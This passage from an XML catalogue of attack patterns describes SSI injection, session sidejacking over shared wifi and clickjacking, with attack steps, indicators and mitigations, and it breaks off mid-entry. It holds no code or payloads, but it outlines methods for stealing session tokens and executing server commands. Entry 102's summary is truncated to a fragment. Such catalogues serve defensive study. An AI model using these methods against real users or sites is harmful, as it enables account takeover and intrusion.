			<Related_Guidelines>
				<Related_Guideline>
					<Text>Ensure that the Bounds of No Memory Region Are Violated</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks/>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>AJAX</Language>
					<Language>C</Language>
					<Language>C++</Language>
					<Language>PERL</Language>
					<Language>PHP</Language>
					<Language>Ruby</Language>
					<Language>Visual Basic</Language>
					<Language>Other</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-04-30</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-05-02</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="101" Name="Server Side Include (SSI) Injection"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker can use Server Side Include (SSI) Injection to send code to a
						web application that then gets executed by the web server. Doing so enables
						the attacker to achieve similar results to Cross Site Scripting, viz.,
						arbitrary code execution and information disclosure, albeit on a more
						limited scale, since the SSI directives are nowhere near as powerful as a
						full-fledged scripting language. Nonetheless, the attacker can conveniently
						gain access to sensitive files, such as password files, and execute shell
						commands.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine
											applicability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker determines whether server side
												includes are enabled on the target web
												server.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Look for popular page file names. The
												attacker will look for .shtml, .shtm, .asp, .aspx,
												and other well known strings in URLs to help
												determine whether SSI functionality is
												enabled.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Fetch .htaccess file. In Apache web server
												installations, the .htaccess file may enable
												server side includes in specific locations. In
												those cases, the .htaccess file lives inside the
												directory where SSI is enabled, and is
												theoretically fetchable from the web server.
												Although most web servers deny fetching the
												.htaccess file, a misconfigured server will allow
												it. Thus, an attacker will frequently try
												it.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>If .htaccess files are used, their contents
												should be checked for "Options Includes" or
												"Options IncludesNOEXEC".</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>If apache is used, the contents of the
												httpd.conf file and similar configuration files
												should be checked for "Options Includes" or
												"Options IncludesNOEXEC".</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>IIS configurations contain server-side
												include compatibility.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>Web pages that include mundane, but dynamic
												information (like the current date, a file's size,
												or some other data that SSI can produce) might be
												producing that content through SSI.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Adding "AllowOverrides
												none" to the main httpd.conf file on an server
												(and the similar restrictions in other application
												servers) can prevent unexpected loosening of SSI
												functionality, even by internal
												developers.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt SSI</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Look for user controllable input, including HTTP
												headers, that can carry server side include
												directives to the web server</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web application.
												Make special note of any links that include
												parameters in the URL. Manual traversal of this
												type is frequently necessary to identify forms
												that are GET method forms rather than POST
												forms.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>URL parameters are used.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear on the URL. Even though
												none appear, the web application may still use
												them if they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Inject SSI</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker may then need to view a particular
												page in order to have the server execute the include
												directive and run a command or open a file on behalf
												of the attacker</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker views data
												(perhaps from a file) that he normally should not
												see.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker executes a command
												on the server, or influences the arguments to a
												command executed via SSI on the
												server.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A web server that supports server side includes and has them
						enabled</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>User controllable input that can carry include directives to the web
						server</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation>
					<Text>It is fairly easy to determine whether server-side includes are permitted
						on the target server. An attacker can potentially glean a lot of information
						if SSI Injection were found to be possible.</Text>
				</Explanation>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Consider a website hosted on a server that permits Server Side
							Includes (SSI), such as Apache with the "Options Includes" directive
							enabled.</Text>
						<Text>Whenever an error occurs, the HTTP Headers along with the entire
							request are logged, which can then be displayed on a page that allows
							review of such errors. A malicious user can inject SSI directives in the
							HTTP Headers of a request designed to create an error.</Text>
						<Text>When these logs are eventually reviewed, the server parses the SSI
							directives and executes them.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to be aware of SSI technology, determine the nature
							of injection and be able to craft input that results in the SSI
							directives being executed.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None: Determining whether the server supports SSI does not require special
					tools, and nor does injecting directives that get executed.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can probe for enabled SSI by injecting content that can
							be interpreted as SSI directives and viewing the page output</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Set the OPTIONS IncludesNOEXEC in the global access.conf file or local
						.htaccess (Apache) file to deny SSI execution in directories that do not
						need them</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>All user controllable input must be appropriately sanitized before use in
						the application. This includes omitting, or encoding, certain characters or
						strings that have the potential of being interpreted as part of an SSI
						directive</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Server Side Includes must be enabled only if there is a strong business
						reason to do so. Every additional component enabled on the web server
						increases the attack surface as well as administrative overhead</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User controllable input</Text>
			</Injection_Vector>
			<Payload>
				<Text>SSI directives that can cause disclosure of file contents or execution of
					commands</Text>
			</Payload>
			<Activation_Zone>
				<Text>The web server that parses and executes SSI directives before rendering the
					HTML page</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The SSI directives cause the inclusion of certain file's contents or the
						execution of a shell command, as directed by the attacker</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>97<!--Improper Neutralization of Server-Side Includes (SSI) Within a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>253<!--Remote Code Inclusion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>369<!--WASC Threat Classification 2.0 - WASC-36 - SSI Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>PHP</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-04-20</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-20</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="102" Name="Session Sidejacking" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>ss network.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Detect Unprotected Session Token
											Transfer</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker sniffs on the wireless network to
												detect unencrypted traffic that contains session
												tokens.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker uses a network sniffer tool
												like ferret or hampster to monitor the wireless
												traffic at a WiFi hotspot while examining it for
												evidence of transmittal of session tokens in
												unencrypted or recognizably encrypted form. An
												attacker applies his knowledge of the manner by
												which session tokens are generated and transmitted
												by various target systems to identify the session
												tokens.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The attacker and the victim are both on the
												same WiFi network.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Traffic between the victim and targeted
												application is unencrypted.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker sees session
												tokens in the unencrypted
												traffic</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Capture session token</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses sniffing tools to capture a
												session token from traffic.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Insert captured session
											token</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker attempts to insert a captured session
												token into communication with the targeted
												application to confirm viability for
												exploitation.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Session Token
											Exploitation</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker leverages the captured session token
												to interact with the targeted application in a
												malicious fashion, impersonating the victim.</Text>
										</Attack_Step_Description>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Utilize end to end
												encrypted communication via a secure tunneling
												protocol between the victim and the target
												system.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An attacker and the victim are both using the same WiFi network.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim has an active session with a target system.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim is not using a secure channel to communicate with the target
						system (e.g. SSL, VPN, etc.)</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim initiated communication with a target system that requires
						transfer of the session token or the target application uses AJAX and
						thereby periodically "rings home" asynchronously using the session
						token</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The attacker and the victim are using the same WiFi public hotspot.
							When the victim connects to the hotspot, he has a hosted e-mail account
							open. This e-mail account uses AJAX on the client side which
							periodically asynchronously connects to the server side and transfers,
							amongst other things, the user's session token to the server. The
							communication is supposed to happen over HTTPS. However, the
							configuration in the public hotspot initially disallows the HTTPS
							connection (or any other connection) between the victim and the hosted
							e-mail servers because the victim first needs to register with the
							hotspot. The victim does so, but his e-mail client already defaulted to
							using a connection without HTTPS, since it was denied access the first
							time. Victim's session token is now flowing unencrypted between the
							victim's browser and the hosted e-mail servers. The attacker leverages
							this opportunity to capture the session token and gain access to the
							victim's hosted e-mail account.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Easy to use tools exist to automate this attack.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Low: A laptop and access to a public WiFi network.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Use available tools to snoop on communications between the victim and
							the target system and try to capture the transmitted session
							token</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Use the captured session token to impersonate the victim on the target
							system to perform actions and view information on their behalf.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Make sure that HTTPS is used to communicate with the target system.
						Alternatively, use VPN if possible. It is importnat to ensure that all
						communication between the client and the server happens via an encrypted
						secure channel.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Modify the session token with each transmission and protect it with
						cryptography. Add the idea of request sequencing that gives the server an
						ability to detect replay attacks.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>294<!--Authentication Bypass by Capture-replay--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>522<!--Insufficiently Protected Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>523<!--Unprotected Transport of Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>319<!--Cleartext Transmission of Sensitive Information--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>614<!--Sensitive Cookie in HTTPS Session Without 'Secure' Attribute--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Ensure that SSL is used for all communication between the client and the
						target system where sensitive data and/or operations are available.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Ensure that session cookies are only transmitted via SSL pipes by setting
						the cookie's secure attribute to true.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Protect Sensitive Data in Transit</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="103" Name="Clickjacking" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In a clickjacking attack the victim is tricked into unknowingly initiating
						some action in one system while interacting with the UI from seemingly
						completely different system. While being logged in to some target system,
						the victim visits the attacker's malicious site which displays a UI that the
						victim wishes to interact with. In reality, the clickjacked page has a
						transparent layer above the visible UI with action controls that the
						attacker wishes the victim to execute. The victim clicks on buttons or other
						UI elements they see on the page which actually triggers the action controls
						in the transparent overlaying layer. Depending on what that action control
						is, the attacker may have just tricked the victim into executing some
						potentially privileged (and most certainly undesired) functionality in the
						target system to which the victim is authenticated. The basic problem here
						is that there is a dichotomy between what the victim thinks he's clicking on
						versus what he or she is actually clicking on.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Craft a clickjacking
											page</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker utilizes web page layering techniques
												to try to craft a malicious clickjacking page</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker leveraged iFrame overlay
												capabilities to craft a malicious clickjacking
												page</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker leveraged Flash file overlay
												capabilities to craft a malicious clickjacking
												page</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>The attacker leveraged Silverlight overlay
												capabilities to craft a malicious clickjacking
												page</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>The attacker leveraged cross-frame scripting
												to craft a malicious clickjacking page</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Overlay capabilities are enabled in the
												browser</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A page is created that performs
												unseen actions when the user interacts with the
												visible UI</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Disable overlay
												functionality in the browser. This can have
												obvious impact on the utility of the browser with
												some sites and web
												applications.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attacker lures victim to clickjacking
											page</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker utilizes some form of temptation,
												misdirection or coercion to lure the victim to
												loading and interacting with the clickjacking pagen
												a way that increases the chances that the victim
												will click in the right areas.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Lure the victim to the malicious site by
												sending the victim an e-mail with a URL to the
												site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Lure the victim to the malicious site by
												manipulating URLs on a site trusted by the
												victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Lure the victim to the malicious site
